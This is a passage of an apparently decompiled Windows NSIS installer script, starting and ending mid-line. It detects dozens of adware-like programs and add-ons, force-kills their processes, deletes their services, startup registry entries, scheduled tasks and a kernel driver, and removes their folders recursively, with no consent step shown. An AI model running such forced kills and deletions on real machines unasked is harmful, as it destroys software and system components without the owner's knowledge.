/k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\promoskiki label_17971: IfFileExists $PROGRAMFILES\CouponsPlus 0 label_17973 RMDir /r /REBOOTOK $PROGRAMFILES\CouponsPlus label_17973: IfFileExists $PROGRAMFILES\SpaceSondPro 0 label_17981 nsExec::Exec "cmd /k taskkill /IM Spacesoundpro.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Spacesoundpro.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce SpaceSondPro_v53.1001 RMDir /r /REBOOTOK $PROGRAMFILES\SpaceSondPro label_17981: IfFileExists $PROGRAMFILES64\SpaceSoundPro 0 label_17988 nsExec::Exec "cmd /k taskkill /IM SpaceSondPro_Service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SpaceSondPro_Service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\SpaceSoundPro label_17988: IfFileExists $PROGRAMFILES\PlusHD* 0 label_17999 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\PlusHD* label_17991: StrCmp $R1 "" label_17998 IfFileExists $PROGRAMFILES\$R1 0 label_17996 Push $PROGRAMFILES\$R1 Call func_4484 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_17996: FindNext $0 $R1 Goto label_17991 label_17998: FindClose $0 label_17999: IfFileExists $PROGRAMFILES\SpaceSondPro* 0 label_18007 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\SpaceSondPro* label_18002: StrCmp $R1 "" label_18006 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_18002 label_18006: FindClose $0 label_18007: IfFileExists $LOCALAPPDATA\SysassistByHotWheel 0 label_18009 RMDir /r /REBOOTOK $LOCALAPPDATA\SysassistByHotWheel label_18009: IfFileExists "$PROGRAMFILES\Filter Results" 0 label_18013 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr FilterResults" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr FilterResults" RMDir /r /REBOOTOK "$PROGRAMFILES\Filter Results" label_18013: IfFileExists $DESKTOP\1\Addon_App 0 label_18020 nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM promocodes.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $DESKTOP\1\Addon_App label_18020: IfFileExists "$PROGRAMFILES\Jungle Net" 0 label_18024 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr JungleNet" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr JungleNet" RMDir /r /REBOOTOK "$PROGRAMFILES\Jungle Net" label_18024: IfFileExists $APPDATA\vkPro 0 label_18032 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run UpdateVKpro nsExec::Exec "cmd /k taskkill /IM vkPro.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM vkPro.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\vkPro label_18032: IfFileExists $DESKTOP\vkPro.lnk 0 label_18034 Delete $DESKTOP\vkPro.lnk label_18034: IfFileExists $LOCALAPPDATA\DesktopMessenger 0 label_18042 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run DesktopMessenger nsExec::Exec "cmd /k taskkill /IM DesktopMessenger.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DesktopMessenger.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\DesktopMessenger label_18042: IfFileExists $LOCALAPPDATA\ExtensionInstaller* 0 label_18052 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\ExtensionInstaller* label_18045: StrCmp $R1 "" label_18051 Push $LOCALAPPDATA\$R1 Call func_4484 RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 FindNext $0 $R1 Goto label_18045 label_18051: FindClose $0 label_18052: IfFileExists $APPDATA\AppHelper\CinemaPlus* 0 label_18062 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\AppHelper\CinemaPlus* label_18055: StrCmp $R1 "" label_18060 Push $APPDATA\AppHelper\$R1 Call func_4484 FindNext $0 $R1 Goto label_18055 label_18060: FindClose $0 RMDir /r /REBOOTOK $APPDATA\AppHelper label_18062: IfFileExists $PROGRAMFILES\WordShark* 0 label_18097 StrCpy $0 0 label_18064: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_18097 IntOp $0 $0 + 1 ClearErrors Push $1 Push WordShark Call :label_405 Pop $R3 IfErrors label_18064 IfFileExists $PROGRAMFILES\$1 0 label_18075 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_18075: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsfd_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wssvc_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsfd_$3.sys 0 label_18090 Delete /REBOOTOK $SYSDIR\drivers\wsfd_$3.sys label_18090: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wsfd_$3.sys 0 label_18097 Delete /REBOOTOK $SYSDIR\drivers\wsfd_$3.sys label_18097: IfFileExists "$PROGRAMFILES\Common Dots" 0 label_18101 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr CommonDots" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr CommonDots" RMDir /r /REBOOTOK "$PROGRAMFILES\Common Dots" label_18101: IfFileExists "$DESKTOP\1\application extension" 0 label_18108 nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM promocodes.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$DESKTOP\1\application extension" label_18108: IfFileExists "$TEMP\1\application extension" 0 label_18115 nsExec::Exec "cmd /k taskkill /IM $\"valuablecoupons_setup.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"valuablecoupons_setup.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$TEMP\1\application extension" label_18115: IfFileExists $LOCALAPPDATA\valuablecoupons 0 label_18123 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run valuablecoupons nsExec::Exec "cmd /k taskkill /IM valuablecoupons_stb.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM valuablecoupons_stb.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\valuablecoupons label_18123: IfFileExists "$PROGRAMFILES\Sale Clipper" 0 label_18127 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr SaleClipper" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr SaleClipper" RMDir /r /REBOOTOK "$PROGRAMFILES\Sale Clipper" label_18127: IfFileExists "$PROGRAMFILES\Search Extensions" 0 label_18149 nsExec::Exec "cmd /k taskkill /IM certutil.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM certutil.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Client.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Client.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"RocketTab$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"RocketTab$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"RocketTab Update Task$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"RocketTab Update Task$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Search Extensions" label_18149: IfFileExists $PROGRAMFILES\netfilter 0 label_18162 nsExec::Exec "cmd /k net stop netfsrv" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop netfsrv" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\PFHttpContentFilter.exe nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\netfilter label_18162: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\netfilter2.sys 0 label_18170 DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2 Delete /REBOOTOK $SYSDIR\drivers\netfilter2.sys label_18170: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\netfilter2.sys 0 label_18178 DeleteRegKey HKLM SYSTEM\ControlSet001\services\netfilter2 Delete /REBOOTOK $SYSDIR\drivers\netfilter2.sys label_18178: IfFileExists $PROGRAMFILES64\netfilter 0 label_18191 nsExec::Exec "cmd /k net stop netfsrv" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop netfsrv" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\PFHttpContentFilter.exe nsExec::Exec "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PFHttpContentFilter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\netfilter label_18191: IfFileExists "$DESKTOP\Play Star Trek Alien Domain.lnk" 0 label_18193 Delete "$DESKTOP\Play Star Trek Alien Domain.lnk" label_18193: IfFileExists $PROGRAMFILES\Chedot 0 label_18195 RMDir /r /REBOOTOK $PROGRAMFILES\Chedot label_18195: IfFileExists $LOCALAPPDATA\Chedot 0 label_18203 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Chedot nsExec::Exec "cmd /k taskkill /IM chedot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM chedot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\Chedot label_18203: IfFileExists $DESKTOP\Chedot.lnk 0 label_18205 Delete $DESKTOP\Chedot.lnk label_18205: IfFileExists "$APPDATA\User Pinned\TaskBar\Chedot.lnk" 0 label_18207 Delete "$APPDATA\User Pinned\TaskBar\Chedot.lnk" label_18207: IfFileExists "$PROGRAMFILES\On Stage" 0 label_18211 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr OnStage" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr OnStage" RMDir /r /REBOOTOK "$PROGRAMFILES\On Stage" label_18211: IfFileExists "$DESKTOP\Èãðàòü â Panzar.lnk" 0 label_18213 Delete "$DESKTOP\Èãðàòü â Panzar.lnk" label_18213: IfFileExists "$DESKTOP\Èãðàòü â War Thunder.lnk" 0 label_18215 Delete "$DESKTOP\Èãðàòü â War Thunder.lnk" label_18215: IfFileExists $PROGRAMFILES\x-rates 0 label_18217 RMDir /r /REBOOTOK $PROGRAMFILES\x-rates label_18217: IfFileExists $PROGRAMFILES\PremierOpinion 0 label_18240 DeleteRegKey HKLM SYSTEM\ControlSet001\services\PremierOpinion nsExec::Exec "cmd /k taskkill /IM pmservice.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pmservice.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pmropn.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pmropn.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pmropn32.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pmropn32.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pmropn64.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pmropn64.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\PremierOpinion label_18240: IfFileExists $DESKTOP\1\application_ext 0 label_18247 nsExec::Exec "cmd /k taskkill /IM promocodes.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM promocodes.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $DESKTOP\1\application_ext label_18247: IfFileExists "$PROGRAMFILES\Box Green" 0 label_18261 nsExec::Exec "cmd /k taskkill /IM updateBoxGreen.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updateBoxGreen.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilBoxGreen.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilBoxGreen.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Box Green" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Box Green" RMDir /r /REBOOTOK "$PROGRAMFILES\Box Green" label_18261: IfFileExists "$DESKTOP\Play Stormfall Age Of War.lnk" 0 label_18263 Delete "$DESKTOP\Play Stormfall Age Of War.lnk" label_18263: IfFileExists $APPDATA\MyDesktop 0 label_18271 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run MyDesktop nsExec::Exec "cmd /k taskkill /IM linkme.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM linkme.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\MyDesktop label_18271: IfFileExists $LOCALAPPDATA\hotskidki 0 label_18279 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run hotskidki nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\hotskidki label_18279: IfFileExists $LOCALAPPDATA\vsemposkidki 0 label_18287 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run vsemposkidki nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\vsemposkidki label_18287: IfFileExists "$PROGRAMFILES\Any Angle" 0 label_18289 RMDir /r /REBOOTOK "$PROGRAMFILES\Any Angle" label_18289: IfFileExists "$PROGRAMFILES\Dig Deep" 0 label_18296 nsExec::Exec "cmd /k taskkill /IM utilDigDeep.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilDigDeep.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Dig Deep" label_18296: IfFileExists "$DESKTOP\Internet Quick Access.lnk" 0 label_18308 nsExec::ExecToStack "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"IQA$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"IQA$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete "$DESKTOP\Internet Quick Access.lnk" label_18308: IfFileExists "$DESKTOP\Intårnåt Quiñk Àññåss.lnk" 0 label_18320 nsExec::ExecToStack "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Internet Quick Access Updater$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"IQA$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"IQA$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete "$DESKTOP\Intårnåt Quiñk Àññåss.lnk" label_18320: IfFileExists "$APPDATA\User Pinned\TaskBar\Internet Quick Access.lnk" 0 label_18322 Delete "$APPDATA\User Pinned\TaskBar\Internet Quick Access.lnk" label_18322: IfFileExists "$APPDATA\Internet Quick Access.lnk" 0 label_18324 Delete "$APPDATA\Internet Quick Access.lnk" label_18324: IfFileExists "$SMPROGRAMS\Internet Quick Access\Internet Quick Access.lnk" 0 label_18326 Delete "$SMPROGRAMS\Internet Quick Access\Internet Quick Access.lnk" label_18326: IfFileExists $PROGRAMFILES\SystClean 0 label_18338 nsExec::Exec "cmd /k taskkill /IM RemApp.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM RemApp.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"SystClean init$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"SystClean init$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\SystClean label_18338: IfFileExists "$PROGRAMFILES\Coupon Time" 0 label_18340 RMDir /r /REBOOTOK "$PROGRAMFILES\Coupon Time" label_18340: IfFileExists $PROGRAMFILES\rec_ru_47 0 label_18347 nsExec::Exec "cmd /k taskkill /IM rec_ru_47.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rec_ru_47.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\rec_ru_47 label_18347: IfFileExists $PROGRAMFILES\rec_ru* 0 label_18355 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\rec_ru* label_18350: StrCmp $R1 "" label_18354 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_18350 label_18354: FindClose $0 label_18355: IfFileExists $PROGRAMFILES\Games-desktop 0 label_18357 RMDir /r /REBOOTOK $PROGRAMFILES\Games-desktop label_18357: IfFileExists $PROGRAMFILES\StrengthPlus 0 label_18359 RMDir /r /REBOOTOK $PROGRAMFILES\StrengthPlus label_18359: IfFileExists "$PROGRAMFILES\Chromium Wheel Smooth Scroller" 0 label_18366 nsExec::Exec "cmd /k taskkill /IM Chromium Wheel Smooth Scroller.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Chromium Wheel Smooth Scroller.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Chromium Wheel Smooth Scroller" label_18366: IfFileExists $PROGRAMFILES\compfix 0 label_18368 RMDir /r /REBOOTOK $PROGRAMFILES\compfix label_18368: IfFileExists "$PROGRAMFILES\Stanza Date Clipper for Calendar" 0 label_18375 nsExec::Exec "cmd /k taskkill /IM Stanza Date Clipper for Calendar.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Stanza Date Clipper for Calendar.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Stanza Date Clipper for Calendar" label_18375: IfFileExists $PROGRAMFILES\LightEngine 0 label_18377 RMDir /r /REBOOTOK $PROGRAMFILES\LightEngine label_18377: IfFileExists $PROGRAMFILES\MusixLib 0 label_18384 nsExec::Exec "cmd /k taskkill /IM MusixLib.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MusixLib.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\MusixLib label_18384: IfFileExists $PROGRAMFILES\sayescoupon 0 label_18386 RMDir /r /REBOOTOK $PROGRAMFILES\sayescoupon label_18386: IfFileExists "$PROGRAMFILES\FB Color Changer" 0 label_18393 nsExec::Exec "cmd /k taskkill /IM $\"FB Color Changer.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"FB Color Changer.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\FB Color Changer" label_18393: IfFileExists $PROGRAMFILES\LibraryGeneration 0 label_18395 RMDir /r /REBOOTOK $PROGRAMFILES\LibraryGeneration label_18395: IfFileExists "$PROGRAMFILES\Unlimited Free VPN betternet" 0 label_18402 nsExec::Exec "cmd /k taskkill /IM $\"Unlimited Free VPN betternet.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Unlimited Free VPN betternet.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Unlimited Free VPN betternet" label_18402: IfFileExists $PROGRAMFILES\CiPlus* 0 label_18410 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\CiPlus* label_18405: StrCmp $R1 "" label_18409 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_18405 label_18409: FindClose $0 label_18410: IfFileExists $PROGRAMFILES\Cinema_Plus* 0 label_18421 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\Cinema_Plus* label_18413: StrCmp $R1 "" label_18420 IfFileExists $PROGRAMFILES\$R1 0 label_18418 Push $PROGRAMFILES\$R1 Call func_4484 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_18418: FindNext $0 $R1 Goto label_18413 label_18420: FindClose $0 label_18421: IfFileExists $DESKTOP\WilliamHill.lnk 0 label_18423 Delete $DESKTOP\WilliamHill.lnk label_18423: IfFileExists "$PROGRAMFILES\William Hill Casino notification" 0 label_18430 nsExec::Exec "cmd /k taskkill /IM notification_center.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM notification_center.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\William Hill Casino notification" label_18430: IfFileExists "$PROGRAMFILES\William Hill Casino" 0 label_18437 nsExec::Exec "cmd /k taskkill /IM regtrk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM regtrk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\William Hill Casino" label_18437: IfFileExists "$SMSTARTUP\William Hill Casino notification.lnk" 0 label_18439 Delete "$SMSTARTUP\William Hill Casino notification.lnk" label_18439: IfFileExists $DESKTOP\SpaceSoundPro.lnk 0 label_18441 Delete $DESKTOP\SpaceSoundPro.lnk label_18441: IfFileExists "$DESKTOP\Èãðàòü â Ïðàâèëà Âîéíû.lnk" 0 label_18443 Delete "$DESKTOP\Èãðàòü â Ïðàâèëà Âîéíû.lnk" label_18443: IfFileExists $PROGRAMFILES\PragmaInstance 0 label_18445 RMDir /r /REBOOTOK $PROGRAMFILES\PragmaInstance label_18445: IfFileExists "$APPDATA\User Pinned\TaskBar\Intårnåt Quiñk Àññåss.lnk" 0 label_18447 Delete "$APPDATA\User Pinned\TaskBar\Intårnåt Quiñk Àññåss.lnk" label_18447: IfFileExists "$APPDATA\Intårnåt Quiñk Àññåss.lnk" 0 label_18449 Delete "$APPDATA\Intårnåt Quiñk Àññåss.lnk" label_18449: IfFileExists "$SMPROGRAMS\Internet Quick Access\Intårnåt Quiñk Àññåss.lnk" 0 label_18451 Delete "$SMPROGRAMS\Internet Quick Access\Intårnåt Quiñk Àññåss.lnk" label_18451: IfFileExists "$DESKTOP\Play Pirates Tides of Fortune.lnk" 0 label_18453 Delete "$DESKTOP\Play Pirates Tides of Fortune.lnk" label_18453: IfFileExists $PROGRAMFILES64\DownChecker 0 label_18461 nsExec::Exec "cmd /k taskkill /IM dchecker.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM dchecker.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\DownChecker RMDir /r /REBOOTOK $PROGRAMFILES64\DownChecker label_18461: IfFileExists $PROGRAMFILES\FriendlyError 0 label_18463 RMDir /r /REBOOTOK $PROGRAMFILES\FriendlyError label_18463: IfFileExists "$DESKTOP\Èãðàòü â Ãåðîåâ Ñåâåðà.lnk" 0 label_18465 Delete "$DESKTOP\Èãðàòü â Ãåðîåâ Ñåâåðà.lnk" label_18465: IfFileExists "$DESKTOP\Super Optimizer.lnk" 0 label_18467 Delete "$DESKTOP\Super Optimizer.lnk" label_18467: IfFileExists $DESKTOP\MiPony.lnk 0 label_18469 Delete $DESKTOP\MiPony.lnk label_18469: IfFileExists "$DESKTOP\Play Games Online.url" 0 label_18471 Delete "$DESKTOP\Play Games Online.url" label_18471: IfFileExists 